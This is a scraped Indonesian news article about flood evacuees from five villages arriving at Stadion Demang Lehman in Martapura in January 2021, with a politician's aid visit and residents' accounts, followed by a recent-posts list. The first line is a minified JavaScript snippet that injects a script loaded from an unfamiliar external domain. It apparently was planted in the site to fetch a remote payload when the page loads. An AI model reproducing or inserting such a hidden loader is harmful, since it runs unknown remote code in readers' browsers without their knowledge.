(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kabupaten Banjar

Stadion Deman Lehman Sudah Mulai Diisi Pengungsi Korban Banjir


KANALKALIMANTAN.COM, MARTAPURA – Stadion Demang Lehman sudah mulai diisi oleh pengungsi korban banjir.
Pantauan di lokasi, para pengungsi sudah mulai berdatangan pada Kamis (14/1/2021). Terlihat juga Politisi Partai Amanat Nasional (PAN) Soraya di kawasan Stadion Demang Lehman (SDL) Indrasari Martapura.

Kehadiran politisi perempuan ini selain meninjau, dia juga menyempatkan diri sebagai relawan untuk membantu memotivasi para pengungsi.

Sementara, bantuan yang disalurkannya berupa alat kesehatan, antara lain hand sanitizer, masker, selimut, pakaian layak pakai dan masih banyak lagi. “Ada dua hal yang kita hadapi di Kabupaten Banjar, saat ini yakni musibah banjir dan covid-19,” ucapnya.

Ia mengingatkan dalam kondisi kebanjiran dan penanganan penanggulangan banjir ini, tidak melupakan dengan upaya mencegah meluasnya pandemi covid-19. “Ini musibah banjir terparah yang pernah dialami, apalagi di tengah cobaan menghadapi covid-19. Mudah-mudahan kita bisa sabar dan tabah,” tuturnya.

Dia juga memberikan motivasi semangat dan ingatkan pentingnya menjaga kesehatan.
Saat ini Stadion Demang Lehman sudah berisi pengungsi dari 5 Desa, yakni Desa Bincau, Labuan Tabu, Tambak Baru Ulu, Tambak Baru Ilir, Kampung Melayu, dengan jumlah total 100 Jiwa.

Sementara, Isnaniah warga Desa Labuan Tabu, yang mengungsi bersama anak dan sepupunya 6 orang, mengatakan, air di dalam rumahnya mencapai ketinggian leher orang dewasa, sehingga membuat dia terpaksa harus mengungsi.

“Sudah sekitar 15 hari bertahan di rumah, namun karena dari kemarin malam hingga saat ini air terus naik, jadi saya terpaksa harus mengungsi kesini,” tuturnya. Dia juga mengatakan, tak menyangka akan musibah banjir yang cukup besar di wilayahnya.

Kemudian, Halim (65) warga Labuan Tabu, RT 1 mengatakan, dirinya bersama ibunya yang sudah berusia hampir 100 tahun. “Di dalam rumah airnya dalam mencapai dada orang dewasa, jadi saya bersama ibu saya mengungsi kesini, dari rumah membawa ibu saya tadi naik jukung,” katanya.

Hingga pukul 17:50 petang, para pengungsian masih terus berdatangan, bantuan pun turut berdatangan. (Kanalakalimantan.com/wahyu)

 

Reporter : Wahyu
Editor : Cell

 

 

 


Al Ghifari

Recent Posts

Diakhiri Nobar Timnas, Pj Bupati Kapuas Menutup Expo Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi secara resmi menutup gelaran Expo… Read More

3 jam ago

Bingkisan Kebahagiaan PLN untuk Warga Kalsel yang Membutuhkan

KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur (UIP3B) Kalimantan melalui… Read More

3 jam ago

Asa Warga Banjarmasin Timnas Indonesia Masuk Olimpiade Paris 2024

KANALKALIMANTAN.COM, BANJARMASIN - Nonton bareng (Nobar) laga semifinal AFC U-23 Indonesia vs Uzbekistan di halaman… Read More

3 jam ago

Ini Tiga Rekor Muri Sebagai Kado HUT ke-73 Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS – Tiga rekor Museum Rekor Indonesia (Muri) menjadi catatan kado Hari Jadi… Read More

3 jam ago

Ritual Laluhan dan Ngarunya Lengkapi Perayaan HUT ke-73 Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Momen perayaan Hari Jadi ke-218 Kota Kuala Kapuas dan Hari Ulang… Read More

3 jam ago

Laga Terakhir Timnas Indonesia Berharap Juara Ketiga Piala Asia U-23

KANALKALIMANTAN.COM, BANJARBARU - Tim Nasional (Timnas) Indonesia U-23 dipastikan gagal melaju ke final Piala Asia… Read More

5 jam ago

This website uses cookies.